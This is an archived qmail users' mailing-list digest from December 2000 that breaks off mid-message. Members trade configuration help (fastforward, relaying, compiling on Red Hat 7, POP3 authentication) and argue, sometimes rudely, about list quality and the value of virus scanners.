qmail Digest 6 Dec 2000 11:00:00 -0000 Issue 1205
Topics (messages 53501 through 53587):
fastfoward error
53501 by: Emilis Trinskis
Re: Quality of this List
53502 by: Mestdagh
53507 by: Henning Brauer
53509 by: Brett Randall
53510 by: Michael Maier
53514 by: Lipscomb, Al
53517 by: Brett Randall
53525 by: Henning Brauer
53535 by: Aaron L. Meehan
53542 by: asantos
53544 by: Amitai Schlair
53546 by: asantos
53548 by: defender of the protocol
53559 by: Rahsheen Porter
Professional qmail list? (was: Quality of this List)
53503 by: Robin S. Socha
FAQ! [was: Quality of this List]
53504 by: Mestdagh
53508 by: Robin S. Socha
Re: This is my limit???
53505 by: Ould
53532 by: Greg Owen
Re: Open Relay questionnaire
53506 by: Henning Brauer
Re: badmailfrom
53511 by: Matthew Harrell
Install Failure-Error 127
53512 by: Herr Bl�schke
53515 by: Alex Pennace
53516 by: Goran Blazic
53520 by: Peter Green
53522 by: Robin S. Socha
53523 by: Robin S. Socha
53533 by: Herr Bl�schke
53538 by: Alex Pennace
53539 by: Romeyn Prescott
Re: AntiVirus!
53513 by: Lipscomb, Al
53518 by: Felix von Leitner
53519 by: Felix von Leitner
53528 by: Bruno Wolff III
53530 by: kate.katewerk.com
53540 by: Andy Bradford
53543 by: Michael Boyiazis
53560 by: Nathan J. Mehl
53570 by: Bruno Wolff III
POP3 authentication
53521 by: Louis Mushandu
53527 by: Tim Hunter
Re: qmail logging
53524 by: Joost van Baal
[[EMAIL PROTECTED]: ]
53526 by: Felix von Leitner
Re: Qmail and rblsmtpd
53529 by: Mate Wierdl
different handling of relay mails
53531 by: Thomas Haberland
Deleting outgoing message from queue
53534 by: Jan Knepper
53537 by: Anton Pirnat
53541 by: Robin S. Socha
53576 by: David L. Nicol
Re: Authorization failed during first test of qmail-popup: Solved
53536 by: John Novicki
Re: Mr . T. Hunter POP3 Authentication
53545 by: Louis Mushandu
Re: ezmlm-cgi
53547 by: zealot
53549 by: Petri Kaukasoina
POP3 - Why does it not authenticate.
53550 by: Louis Mushandu
53551 by: Mark Delany
Out of Memory???
53552 by: drew-maillist.ricshaw.com.au
53553 by: Mark Delany
53554 by: Tim Hunter
53557 by: Mark Delany
53566 by: Markus Stumpf
53580 by: Mark Delany
Where is my POP3 authentication panacea.
53555 by: Louis Mushandu
53556 by: Mark Delany
Re: reg. qmail-qmqpd and qmail-qmtpd
53558 by: Arjan Filius
adding text to outgoing messages?
53561 by: vinnie chhabra
53575 by: Andrew Richards
The new "Advanced" qmail lists
53562 by: rmiddleton
53564 by: defender of the protocol
53567 by: rmiddleton
53568 by: defender of the protocol
53573 by: rmiddleton
53581 by: Michael Maier
53582 by: Michael Maier
53583 by: Robin S. Socha
53584 by: Henning Brauer
53586 by: Peter Green
couldn't find a mail exchanger or IP address
53563 by: David Geller
53565 by: Henning Brauer
Qmail and Large Scale Dynamic Mailings
53569 by: Thomas Duterme
53571 by: asantos
53578 by: Thomas Duterme
53579 by: Thomas Duterme
53585 by: Henning Brauer
User question.
53572 by: mbailey.journey.net
why does this happen?
53574 by: Jeremy Anthony
install error
53577 by: Zoltan Major
Qmail, LDAP and public Email Address lists
53587 by: Dennis
Administrivia:
To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]
To subscribe to the digest, e-mail:
[EMAIL PROTECTED]
To bug my human owner, e-mail:
[EMAIL PROTECTED]
To post to the list, e-mail:
[EMAIL PROTECTED]
----------------------------------------------------------------------
Hi all,
I have some problems with fastforward setup.
I have installed fastforward.
in ~alias/.qmail-default
added line
| /var/qmail/bin/fastforward -d /etc/aliases.cdb
added lines to /etc/alias
postmaster: user1
webmaster: user2
build alias.cdb with /var/qmail/bin/newalias
The problem:
Sending mail to: [EMAIL PROTECTED]
I get error in mail.log :
localhost qmail: 976022222.813529 delivery 9669: deferral:
fastforward:_fatal:_qq_temporary_problem_(#4.3.0)/
Any ideas ?
Thanks
====================================================
Emilis Trinskis
Pasvalio rajono savivaldyb�s �vietimo ir sporto skyrius
V.Did�iojo 6
Pasvalys
Tel/Fax: 8-271-34428
====================================================
> I don't have the resources to do it, but I would like it. Do you have
> the resources? If not, then why are you sending this to the list? It
> has been mentioned numerous times, but nobody has yet put their hand
> up. To me, this topic itself is junk until someone decides to do
> something...someone with some bandwidth and some ML experience.
Give me a content management tool (Linux/Free :), and I'll setup a FAQ.
BR
M
Am Dienstag, 5. Dezember 2000 10:18 schrieb Brett Randall:
> As yet, nobody has made, or even
> said that they are planning on making, a professional qmail list.
[EMAIL PROTECTED]
ezmlm managed, subscribe as usual.
--
Henning Brauer | BS Web Services
Hostmaster BSWS | Roedingsmarkt 14
[EMAIL PROTECTED] | 20459 Hamburg
www.bsws.de | Germany
On Tue, 5 Dec 2000, [EMAIL PROTECTED] wrote:
> Am Dienstag, 5. Dezember 2000 10:18 schrieb Brett Randall:
>> As yet, nobody has made, or even
>> said that they are planning on making, a professional qmail list.
>
> [EMAIL PROTECTED]
>
> ezmlm managed, subscribe as usual.
Oh no! What have I created?! You are the fourth person to consider
creating a qmail list. Robin S. Socha beat you to it, and two other
ppl (who may want to remain nameless so I won't mention them) have
offerred their bandwidth... I think since Robin beat you, he wins this
round. Two professional qmail lists would be a nightmare for
subscribers....
--
B r e t t R a n d a l l
http://xbox.ipsware.com/
brett _ @ _ ipsware.com
I don't think it's very wise to run out on different Lists. What we need
is what Brett and I discussed.
A 24/7 List which is highly available!
That can be only achieved with redundant Hardware.
As I said to Brett already it's in our Intresst to bring that new List
then into a high level based List which offers good Quality and
I've seen now those 2 List you mentioned here. They are not very fast.
What I can offer is a redundant System with 100 MBit switched Connection
(2,4 Gbit/sec Uplink).
I have seen Mestdagh has a nice Interface, too but I still don't like that
Threading System. It's a bit too complicated.
Why we don't share our Resources we have and think and setup a really good
List?
Thanks
--^..^--------------------------------------------------
michael maier - system & development administrator
flatfox ag, hanauer landstrasse 196a
d-60314 frankfurt am main
fon +49.(0)69.50 95 98-308
fax +49.(0)69.50 95 98-101
email [EMAIL PROTECTED]
url http://www.flatfox.com - m a k e m y d a y
--------------------------------------------------------
[EMAIL PROTECTED]
> -----Original Message-----
> From: Brett Randall [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, December 05, 2000 4:19 AM
> To: Michael Maier
> Cc: [EMAIL PROTECTED]
> Subject: Re: Quality of this List
>
>
> On Tue, 05 Dec 2000, [EMAIL PROTECTED] wrote:
>
> > The Quality of this List Service dramaticly decreased. All I see
> > are Messages containing Newbie Questions already solved about at
> > least ten times. I'm flooded by Shit! What I have to say about this
> > is if an Error occures You should first type that Error Message in
> > the Search Engine www.google.com And when there can be nothing found
> > about that Error contact the List. Isn't there a Way to setup an
> > additional List for more advanced People using qmail ? It would be
> > really a very big Afford. Thanks a lot Folks!
>
> If you search on google, or even in the list archives, you will see
> how many times this topic has been discussed in the past, and you will
> see the pros and cons of this list. As yet, nobody has made, or even
> said that they are planning on making, a professional qmail list.
>
> I don't have the resources to do it, but I would like it. Do you have
> the resources? If not, then why are you sending this to the list? It
> has been mentioned numerous times, but nobody has yet put their hand
> up. To me, this topic itself is junk until someone decides to do
> something...someone with some bandwidth and some ML experience.
> --
> B r e t t R a n d a l l
> http://xbox.ipsware.com/
> brett _ @ _ ipsware.com
>
Am I allowed to hereby retract any responsibility for the number of
qmail admin lists that pop up? :P
--
B r e t t R a n d a l l
http://xbox.ipsware.com/
brett _ @ _ ipsware.com
Am Dienstag, 5. Dezember 2000 14:21 schrieb Michael Maier:
> I've seen now those 2 List you mentioned here. They are not very fast.
That's nonsense. The systems i run the lists on are very well connected and
are _very_ reliable. You obviously haven't tried. But that's not the point,
as long as every mail to the list can be delivered within a reasonable time
and the system is reliable thats ok. I don't expect lots of subscribers for a
qmail-professional list, but even if, i have enough ressources here.
That point of truth is that we shouldn't run two, three or more lists.
I don't see any sense in playin' "my line is bigger than yours" here. And of
course thats not the point, the point is that enough bandwith is available
for the list, not in _total_.
--
Henning Brauer | BS Web Services
Hostmaster BSWS | Roedingsmarkt 14
[EMAIL PROTECTED] | 20459 Hamburg
www.bsws.de | Germany
Quoting Michael Maier ([EMAIL PROTECTED]):
> The Quality of this List Service dramaticly decreased.
> All I see are Messages containing Newbie Questions already solved about
> at least ten times.
Geeeez!! Enough already! My .procmailrc is starting to get bloated,
and the next person I see bitch and moan is going to come face-to-face
with my virtual can o' whoop-ass! Honestly, although many of us
sympathize, wasting time writing up complaints about the newbies is
pointless. Either unsub or shut up, IOW.
Aaron
From: Brett Randall <[EMAIL PROTECTED]>
>I don't have the resources to do it, but I would like it. Do you have
Lots of lists for pros, that's all fine... I just expect that the newbie
bashing and bad manners stop in *this* list... or is this list to continue
to be a sink for frustrated personalities? Is the good content to go away ?
I'm worried about the efects on qmail of all this. There are already
probably too many factors discouraging the use of qmail on a wider scale:
1) Dan's anti-packaging policy (which in fact creates most of the newbie
queries, therefore defeating the simplicity of support argument)
2) Increasing dependency in other packages, such as uscpi-tcp and
daemontools, that are arguably harder to use (more powerfull of course, but
that's a different issue)
3) Newbie bashing on the main support list
4) Badly disguised manouvers to create a qmail maintaners guild or two, that
as all guilds profits from the seclusion of knowledge. Next stop is qmail
certification, I bet, and then "redhatification".
5) Proliferation of patches (effectively, the patches are forks from the
base code), to address issues that should be addressed by the base package
(eg the big concurrency patch or the qmail-verh patch). Same goes for things
like vpopmail, that is, not patches but certainly add-ons that should be in
the base package (and meeting Dan's high quality standards).
Given the above, it is no wonder that people increasingly use sendmail or
such.
Armando
asantos wrote:
> 1) Dan's anti-packaging policy (which in fact creates most of the newbie
> queries, therefore defeating the simplicity of support argument)
I disagree. Newbies create newbie queries. At the risk of sounding like
a BOFH, I'll press further: if qmail were to become even easier to
install, more newbies would figure they could handle the job of running
it, and we'd have _more_ newbie queries from people who, after
installing, discovered the reality that it's _not_ easy to run a mail
server.
(Though, IMO, qmail makes the task relatively easy -- that's why I run
it.)
> Given the above, it is no wonder that people increasingly use sendmail or
> such.
Is this a verifiable conclusion? Where can I see some data?
- Amitai
From: Amitai Schlair <[EMAIL PROTECTED]>
>I disagree. Newbies create newbie queries. At the risk of sounding like
>a BOFH, I'll press further: if qmail were to become even easier to
>install, more newbies would figure they could handle the job of running
>it, and we'd have _more_ newbie queries from people who, after
>installing, discovered the reality that it's _not_ easy to run a mail
>server.
A simple look at the newbie questions posted here shows that most of them
are related to issues that a binary package, integrated in the intended
environment and with a simple configuration dialog, would solve. I'm talking
compilation and simple configuration issues.
>> Given the above, it is no wonder that people increasingly use sendmail or
>> such.
>
>Is this a verifiable conclusion? Where can I see some data?
This is a empirical conclusion I obtain from the people around me. I can
also derive that conclusion from the fact that commercial packaged Linux
distributions (which come with sendmail) have a significant impact on the
final number of installations. Last but not least, it seems to me that in
this list there are *too few* newbie questions for qmail to be conquering
new grounds. Of course, the unavailability of good books on the subject also
proves something.
Armando
I'm sorry, but I disagree: Dan's distribution methods and this list are
probably driving more people away from using a decent MTA than it's helping.
- jeremy
--
...and only this one holy medium brings me peace of mind.
- Tool
----- Original Message -----
From: Amitai Schlair <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, December 05, 2000 2:19 PM
Subject: Re: Quality of this List
> asantos wrote:
>
> > 1) Dan's anti-packaging policy (which in fact creates most of the newbie
> > queries, therefore defeating the simplicity of support argument)
>
> I disagree. Newbies create newbie queries. At the risk of sounding like
> a BOFH, I'll press further: if qmail were to become even easier to
> install, more newbies would figure they could handle the job of running
> it, and we'd have _more_ newbie queries from people who, after
> installing, discovered the reality that it's _not_ easy to run a mail
> server.
>
> (Though, IMO, qmail makes the task relatively easy -- that's why I run
> it.)
>
> > Given the above, it is no wonder that people increasingly use sendmail
or
> > such.
>
> Is this a verifiable conclusion? Where can I see some data?
>
> - Amitai
>
asantos wrote:
>
> This is a empirical conclusion I obtain from the people around me. I can
> also derive that conclusion from the fact that commercial packaged Linux
> distributions (which come with sendmail) have a significant impact on the
> final number of installations. Last but not least, it seems to me that in
> this list there are *too few* newbie questions for qmail to be conquering
> new grounds. Of course, the unavailability of good books on the subject also
> proves something.
Being a newbie and all, I figured I'd interject here. Call me weird, but
I *like* the way qmail is distributed and actually got pissed at Debian
for doing it the "right" way. Having all my qmail config files and
binaries in one place makes things a lot simpler for me. I do wonder
though, why is qmail distributed like this? To piss people off? :)
As far as people using qmail, it's basically the same reason some people
still use Windows. Other MTA's were already there and people already
know how to use them, distributions ship with them, tons of software is
coded with them in mind. I know people that get seriously pissed off if
they ever have to mess with a box that happens to have something other
sendmail/bind installed on it.
>
* Brett Randall <[EMAIL PROTECTED]> writes:
> As yet, nobody has made, or even said that they are planning on making,
> a professional qmail list.
It's not gonna work because people won't pick it up, but:
mail [EMAIL PROTECTED] < /dev/null
running ezmlm-idx and made with (a.o. -u -s -X) (mod subscription,
subscriber posts only, no binary posts).
Archives are here:
http://socha.net/cgi-bin/ezmlm-cgi?4
> I don't have the resources to do it, but I would like it. Do you have
> the resources?
Resources? You mean the 10cm � cables coming out of this box?
> If not, then why are you sending this to the list? It has been mentioned
> numerous times, but nobody has yet put their hand up. To me, this topic
> itself is junk until someone decides to do something...someone with some
> bandwidth
Bandwidth. Yummie...
> and some ML experience.
What was the "e" word again? Whatever. I don't think running a DJB
mailing list without his permission is ok, but since you asked for it...
Oh. You're a moderator now. Enjoy. }:->
Robin
> I don't have the resources to do it, but I would like it. Do you have
> the resources? If not, then why are you sending this to the list? It
> has been mentioned numerous times, but nobody has yet put their hand
> up. To me, this topic itself is junk until someone decides to do
> something...someone with some bandwidth and some ML experience.
Give me a content management tool (Linux/Free :), (I don't want to try-out all those
of freshmeat ;-o) and I'll setup a FAQ.
BR
M
Quoting Mestdagh ([EMAIL PROTECTED]):
> > I don't have the resources to do it, but I would like it. Do you have
> > the resources? If not, then why are you sending this to the list? It
> > has been mentioned numerous times, but nobody has yet put their hand
> > up. To me, this topic itself is junk until someone decides to do
> > something...someone with some bandwidth and some ML experience.
>
> Give me a content management tool (Linux/Free :), (I don't want to
> try-out all those of freshmeat ;-o) and I'll setup a FAQ.
Why don't you stop shouting, get a decent MUA and then say
prettyplease to me? http://socha.net/cgi-bin/qmail-faq
It should be noted that iff you really find the time and nerve to
admin this, it will the 5th or 6th forum of its kind. It's pretty
green, though ;-)
--- Mark Delany <[EMAIL PROTECTED]> a �crit : > On Mon,
Dec 04, 2000 at 05:35:11PM -0500, Greg Owen
> wrote:
> > > Since a week I'm trying to configurating two
> > > mail server based on qmail. One as Relay (in my DMZ)
> and
> > > the second in my LAN. A scheme is better:
> > > Routeur----Switch-----DMZ <--(Relay is here)
> > > |
> > > |
> > > Firewall
> > > |
> > > |
> > > LAN (local mail server)
> >
> > Let's assume we have relay.example.com in the DMZ and
> > mail.example.com on the LAN.
>
> But isn't it mydomaine2.com here?
>
> >
> > External DNS records should have an MX record listing
> > relay.example.com as the mail exchanger for
> example.com.
> >
> > relay.example.com should allow relay by
> mail.example.com, but not
> > from anyone else (see
> http://www.palomine.net/qmail/relaying.html and
> > http://www.palomine.net/qmail/selectiverelay.html).
> >
> > relay.example.com should have the following files set
> as follows:
>
> Shouldn't that be relaymachine.mydomaine1.com?
>
>
> Regards.
I thinks my problem is related to control files
configuration.
Let my machine ( mail server in LAN) is called "local",
it's domain is localdomaine.com (not visible to internet).
All machine in Lan must connect to this machine to
send/receive mails. (for ex. the local adresse of any user
is me.localdomaine.com).
Let second server in DMZ region to be "relay" it's domaine
is relaydomaine.com. Its has an MX entree in the DNS of my
provider as : "relaydomain.com IN MX 10
relay.relaydomaine.com".
Before the attempt of relaying (i.e. masquerading the local
mail server by creating the local server) all work fine
with no prolem.
All I want to do is to allow users in my private LAN
(localdomaine.com) to senty and receive message via "local"
which must contact "relay" to get or sent incoming/sending
messages.
- in tcp.smtp of "relay" I put :
127.:allow,RELAYCLIENT=""
10.1.6.1:allow,RELAYCLIENT="" <---- ip of "local" machine
- in tcp.smtp of "local" I put :
127.:allow,RELAYCLIENT=""
10.1.6.8:allow,RELAYCLIENT="" <---- ip of "relay" machine
- smtproutes file of "relay" is:
relay.relaydomaine.com:local.localdoamine.com
- smtproutes file of "local" is:
:relay.relaydomaine.com
I testing also
local.localdoamine.com:relay.relaydomaine.com
but any does not works.
-tcpthosts file of "relay" is:
.relaydomaine.com
relaydomaine.com
.localdoamine.com
localdomaine.com
-tcpthosts file of "local" is the same.
- locals file of "relay" is
relaydomaine.com
relay
relay.relaydomaine.com
localdomaine.com
local
local.localdomaine.com
- locals file of "local" is
localdomaine.com
local
local.localdomaine.com
relaydomaine.com
relay
relay.relaydomaine.com
I have defaulthost and defaultdomain on each machine
containing it's domaine and doamine with .doamine.
Also I have plusdomain containing the domaine of eache
machine. No virtualdomain exists. In my profile file I
setting the variable MAILHOST for each machine containing
the domaine name. NO Maildir, except that of admin exist on
"relay". POP is not allowed on relay for lan user's. No
users in the Lan can contact directly "relay" machine.
Now if I sent from any machine in the Lan message to
e.g: [EMAIL PROTECTED] which must be received on the
"local" machine, the mail box is always empty.
But message sent to [EMAIL PROTECTED] reach he's Maildir
on "local" machine.
That is all my configuration.
I use tcpserver.
Thanks for any helps.
__________________________________________________
Do You Yahoo!?
Yahoo! Shopping - Thousands of Stores. Millions of Products.
http://shopping.yahoo.com/
> Now if I sent from any machine in the Lan message to
> e.g: [EMAIL PROTECTED] which must be received on the
> "local" machine, the mail box is always empty.
> But message sent to [EMAIL PROTECTED] reach he's Maildir
> on "local" machine.
What do the logs say about the mail to [EMAIL PROTECTED]?
Also, consider posting the output of qmail-showctl instead of
obsfucating it for us.
--
gowen -- Greg Owen -- [EMAIL PROTECTED]
SoftLock.com is now DigitalGoods!
Am Dienstag, 5. Dezember 2000 04:18 schrieb Bruce Guenter:
> I believe relay-ctrl is the only one that supports Courier
> IMAP, but other than that all the ones I'm aware of do the same thing.
Hmm, open-smtp's concept is so clear, easy and powerfull that it's really
easy to add support. I'm using qmail-ldap and therefore no checkpassword
there, but it was really easy to patch auth_pop (the checkpassword
replacement) to call pop3-record from open-smtp. Same with auth_imap, it
should be fairly easy for any other authentification modules.
--
Henning Brauer | BS Web Services
Hostmaster BSWS | Roedingsmarkt 14
[EMAIL PROTECTED] | 20459 Hamburg
www.bsws.de | Germany
:
: Instead, you might want to prohibit mail from
:
: 200.189.209.130
:
: instead. Of course this will stop all mail from that IP address and
: you might want that other mail.
:
I've got a question about this. I still get mail from an old work address
and occasionally get spam from that address. tcp.smtp seems to only deny mail
from the machine directly sending to you - do you know a way to drop mail that's
been passed through a trusted server?
Thanks
--
Matthew Harrell Preserve wildlife --
Bit Twiddlers, Inc. pickle a squirrel today!
[EMAIL PROTECTED]
When I try to compile qmail, I receive the following error masage
(RH 7)
#make setup check
./compile qmail-local.c
./compile: exec: cc: not found
make: *** [qmail-local.o] Error 127
#
What do I make wrong ?
Thanks
Alex
On Tue, Dec 05, 2000 at 03:24:18PM +0100, Herr Bl�schke wrote:
> When I try to compile qmail, I receive the following error masage
> (RH 7)
>
> #make setup check
> ./compile qmail-local.c
> ./compile: exec: cc: not found
> make: *** [qmail-local.o] Error 127
> #
> What do I make wrong ?
echo gcc > conf-cc
Why does Redhat 7 drop the cc link?
PGP signature
You have to be kidding, right? ;-)
It says, it doesn't find cc...
How do you plan on compiling qmail without a compiler?
Goran
> -----Original Message-----
> From: Herr Bl�schke [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, December 05, 2000 3:25 PM
> To: [EMAIL PROTECTED]
> Subject: Install Failure-Error 127
>
>
> When I try to compile qmail, I receive the following error masage
> (RH 7)
>
> #make setup check
> ./compile qmail-local.c
> ./compile: exec: cc: not found
> make: *** [qmail-local.o] Error 127
> #
> What do I make wrong ?
>
> Thanks
> Alex
>
* Alex Pennace <[EMAIL PROTECTED]> [001205 09:46]:
> On Tue, Dec 05, 2000 at 03:24:18PM +0100, Herr Bl�schke wrote:
> > When I try to compile qmail, I receive the following error masage
> > (RH 7)
> >
> > #make setup check
> > ./compile qmail-local.c
> > ./compile: exec: cc: not found
> > make: *** [qmail-local.o] Error 127
> > #
> > What do I make wrong ?
>
> echo gcc > conf-cc
>
> Why does Redhat 7 drop the cc link?
It doesn't.
(pcg@pcg2) ~> which cc
/usr/bin/cc
(pcg@pcg2) ~> ll /usr/bin/cc
lrwxrwxrwx 1 root root 3 Dec 1 11:08 /usr/bin/cc -> gcc
(pcg@pcg2) ~> cc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.0)
/pg
--
Peter Green : Gospel Communications Network, SysAdmin : [EMAIL PROTECTED]
---
A quote from the recently completed book of Joseph Hall and Randal
Schwartz (http://www.effectiveperl.com/intro.html) that strikes
me as odd:
I don't use English. It's just too verbose for this little book.
Furthermore, English is not common practice among Perl
programmers, and scripts that use English suffer a speed penalty.
This is not to say that English is not useful, just that you won't
see it here.
Words to live by :)
* Herr Bl�schke <[EMAIL PROTECTED]> writes:
> When I try to compile qmail, I receive the following error masage (RH
> 7)
> #make setup check
> ./compile qmail-local.c
> ./compile: exec: cc: not found
> make: *** [qmail-local.o] Error 127
> #
> What do I make wrong ?
You bought a DeadRat .0 release. They all suck. Either you didn't
install the C-Compiler or they fucked it up (cf. kgcc). It's not a qmail
problem in either case and you should contact the RH mailing list.
--
Robin S. Socha <http://socha.net/>
* Herr Bl�schke <[EMAIL PROTECTED]> writes:
> When I try to compile qmail, I receive the following error masage (RH
> 7)
> #make setup check
> ./compile qmail-local.c
> ./compile: exec: cc: not found
> make: *** [qmail-local.o] Error 127
> #
> What do I make wrong ?
You bought a DeadRat .0 release. They all suck. Either you didn't
install the C-Compiler or they fucked it up (cf. kgcc). It's not a qmail
problem in either case and you should contact the RH mailing list.
--
Robin S. Socha <http://socha.net/>
-----Urspr�ngliche Nachricht-----
Von: Goran Blazic [mailto:[EMAIL PROTECTED]]
Gesendet: Dienstag, 5. Dezember 2000 16:08
An: '[EMAIL PROTECTED]'
Betreff: RE: Install Failure-Error 127
Hi...
When looking back at my message I noticed that maybe it was not all that
nicely put...
I am sorry about that... I didn't mean anything bad by it...
No hard feelings, I hope, Goran
P.S.: otherwise it does say it is not able to run the cc compiler, so this
is where you should start looking for the error...
> -----Original Message-----
> From: Herr Bl�schke [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, December 05, 2000 3:25 PM
> To: [EMAIL PROTECTED]
> Subject: Install Failure-Error 127
>
>
> When I try to compile qmail, I receive the following error masage
> (RH 7)
>
> #make setup check
> ./compile qmail-local.c
> ./compile: exec: cc: not found
> make: *** [qmail-local.o] Error 127
> #
> What do I make wrong ?
>
> Thanks
> Alex
>
On Tue, Dec 05, 2000 at 10:05:32AM -0500, Peter Green wrote:
> * Alex Pennace <[EMAIL PROTECTED]> [001205 09:46]:
> > On Tue, Dec 05, 2000 at 03:24:18PM +0100, Herr Bl�schke wrote:
> > > When I try to compile qmail, I receive the following error masage
> > > (RH 7)
> > >
> > > #make setup check
> > > ./compile qmail-local.c
> > > ./compile: exec: cc: not found
> > > make: *** [qmail-local.o] Error 127
> > > #
> > > What do I make wrong ?
> >
> > echo gcc > conf-cc
> >
> > Why does Redhat 7 drop the cc link?
>
> It doesn't.
How does he propose to compile qmail without a compiler?
Don't answer that, it may make me more depressed.
PGP signature
At 3:59 PM +0100 12/5/00, Robin S. Socha wrote:
>* Herr Bl�schke <[EMAIL PROTECTED]> writes:
>
>> When I try to compile qmail, I receive the following error masage (RH
>> 7)
>
>> #make setup check
>> ./compile qmail-local.c
>> ./compile: exec: cc: not found
>> make: *** [qmail-local.o] Error 127
>> #
>
>> What do I make wrong ?
>
>You bought a DeadRat .0 release. They all suck. Either you didn't
>install the C-Compiler or they fucked it up (cf. kgcc). It's not a qmail
>problem in either case and you should contact the RH mailing list.
>--
I'd say the former is probably likely, as I compiled and installed
qmail on RH (or DR, of you prefer ;-) ) with no troubles (at least as
far as compiling went).
...ROMeyn
--
signat-url: http://www2.potsdam.edu/dctm/prescor/signat-url.htm
cubiclecam: http://digirom.potsdam.edu/~prescor/cubiclecam.html
^^^ <--- Off-line unless someone knows how to get camserv to
compile under RedHat 7... *sigh* :-(
>
> Al, please don't talk about stuff you don't understand.
> It's not a "product", it's free software.
>
Wrong. Talked to an attorney last night who specializes in this kind of
litigation. Person(s) X wrote code and person Y suffered a loss as a result
of using that code. It does not matter if a "charge" or "payment" is
involved.
> And if there was any precedent for taking a software maker to a court
> for his bad software quality, California would have to declare
> bankruptcy. Then you have more problems that a few free software
> hackers.
>
When did California become known for software manufacture? Are you thinking
of Washington?
Thus spake Stuart Young ([EMAIL PROTECTED]):
> > > I disagree with the assertion that virus scanners are non-solutions. On > > >
>the mail servers I run, I have installed some simple virus scanning
> > > software, and it has, up to now, filtered out lots of incoming virii and
> > > trojans, as well as a few outgoing virii (which alerted me as to who was
> > > infected, and allowed me to advise the IT folks so they could go clean it
> > > up). Its not a perfect solution, but its far better than nothing, and
> > > results in our location not becoming a source for that kind of garbage.
> >Let me get this straight.
> >
> >Based on the fact that your virus scanner detected a few outgoing virii,
> >you assert not only that it has detected all of them.
> I don't see how you got "All" out of "filtered out lots of incoming virii
> and trojans", which clearly does not say it covers everything. Please stop
> generalizing.
Stuart, do you know the difference between "incoming" and "outgoing"?
Are you aware of the meaning of "to become"? It implicates that you
aren't already.
> >In Europe, Elementary Schools have more professional IT departments than that.
> IT Departments are there to solve user problems, and to solve
> company/institution problems. A virus can quite happily be both. I have
> seen a number of 'network/computer issues' (outside of the office I am in)
> that have been related to virii causing unpredictable behavior. Ignoring
> the problem only allows it to fester, and will only make the final cleanup
> (which will most definitely be the IT Departments problem) much longer,
> problematic, and far more costly. How much does your company/institution
> price it's data, and it's down-time?
My company does not have downtimes because of viruses.
What do you mean with "computer issues"? I don't think I have those in
my company.
People will only notice the system administrator when something is broken.
So, the job of the system administrator is to be invisible.
> And what operating system your network clients run is not always your
> decision to make.
Of course it is.
Otherwise you should leave the company to their doom.
Technical decisions have to be made by the technicians who have to work
with the stuff later. If that is not the case in your company, it is
doomed to failure and misery and in the end it will be blamed on you
nonetheless.
> A virus scanner isn't the whole solution. But it's a part of a solution
> that is definitely worth investigating. It may not necessarily be part of
> your solution, but your solution isn't necessarily good for anyone else either.
Which part of the reasoning against virus scanners didn't you
understand? You repeat exactly the same marketing lingo that the others
guys also used. Is there some secret mind control conspiracy abound
that makes people repeat phrases like "virus scanners are [...] a
solution"? I don't get it. Is none of the Windows users open to
rational arguments?
Felix
Thus spake Milen Petrinski ([EMAIL PROTECTED]):
> > This is the biggest lie of computing: that there is no choice.
> > Everyone has hundreds of options, but the American culture apparently
> > revolves around taking the wrong choice, blaming it on circumstances and
> > whining about the consequences.
> Just an example:
> You are installing a new mail server for a company, that uses Windows on
> their workstations. Than the boss says "What about viruses?" - will you
> reinstall all the machines,s OSes with *ix and teach them use it?
I then tell the boss that his business is doomed unless he wipes Windows
off his machines.
I did this before and I will do this again.
Sometimes the boss then asks me to train users, and as long as he pays
me for it, why shouldn't I do it?
Felix
On Mon, Dec 04, 2000 at 04:18:52PM -0600,
"John W. Lemons III" <[EMAIL PROTECTED]> wrote:
>
> I agree with this as well, but certainly you can see that there is some
> level
> of benefit from a two (or three) tier approach to virus
> detection/prevention.
How does doing virus checking twice help? It should be done once when it
is first loaded on to the client machine.
> It seems to me that one of the major solutions to this problem would be real
> OS level security on more machines (ie not windows). The big problem there
> is cost, training, availability of software, politics, user acceptance, etc
> etc ad nauseum.
No the problem is active documents. These can cause problems under any
moderately useful OS. When people get files that act as though they are
read only, it is a good idea to make sure that they really are read only
so that it isn't easy to fool people.
Windoze doesn't have a monopoly on active document formats. Latex/Tex
and Postscript (though unix postscript readers generally don't allow
the dangerous functions to work) both allow for active documents that
can cause problems.
Their idea of running files that are clearly labelled as programs
from web pages and email messages without really making sure the user
understands the risk, is something I do think they have a monopoly on.
On Tue, 5 Dec 2000, Felix von Leitner wrote:
>
> People will only notice the system administrator when something is broken.
> So, the job of the system administrator is to be invisible.
So you are saying, the job of the system adminsitrator doesn't include
a) removing your www permissions because you remind him he has hairy legs
b) changing your password because it's Tuesday and you forgot to send the
weekly installment of "Debbie does BOFH"
c) reminding users that, like the Canadian Inuit, who have 500 different
words for "snow", that the German language has 1000 different words for
"stupid".
--
Kate
http://www.katewerk.com
On Tue, 05 Dec 2000 02:18:33 +0100, Felix von Leitner wrote:
> By the way, about the discussion about the net worth of virus scanners,
> please have a look a the email I just got (no, I am not making this up):
I can verify this---I too received a similar bounce from their group
and sent them back a *fix your MTA* email. They responded and said
that they had removed the person that was subscribed (not fixing the
root of the problem). In fact, it was to the same [EMAIL PROTECTED]
address.
Andy
To repeat what I said yesterday, I apologize for some of you
getting that crap from our corporate mail server which has (in
my opinion) overzealous virus and spam protection enabled.
But those aren't my mail servers to govern and many of my
coworkers have shown the inability to refrain from double clicking
on binary attachments. So arguments I voice are ignored.
--
Michael Boyiazis
[EMAIL PROTECTED]
Mail Architect, NetZero, Inc.
> -----Original Message-----
> From: Andy Bradford [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, December 05, 2000 9:52 AM
> To: [EMAIL PROTECTED]
> Subject: Re: AntiVirus!
>
>
> On Tue, 05 Dec 2000 02:18:33 +0100, Felix von Leitner wrote:
>
> > By the way, about the discussion about the net worth of
> virus scanners,
> > please have a look a the email I just got (no, I am not
> making this up):
>
> I can verify this---I too received a similar bounce from their group
> and sent them back a *fix your MTA* email. They responded and said
> that they had removed the person that was subscribed (not fixing the
> root of the problem). In fact, it was to the same [EMAIL PROTECTED]
> address.
>
> Andy
>
In the immortal words of Felix von Leitner ([EMAIL PROTECTED]):
>
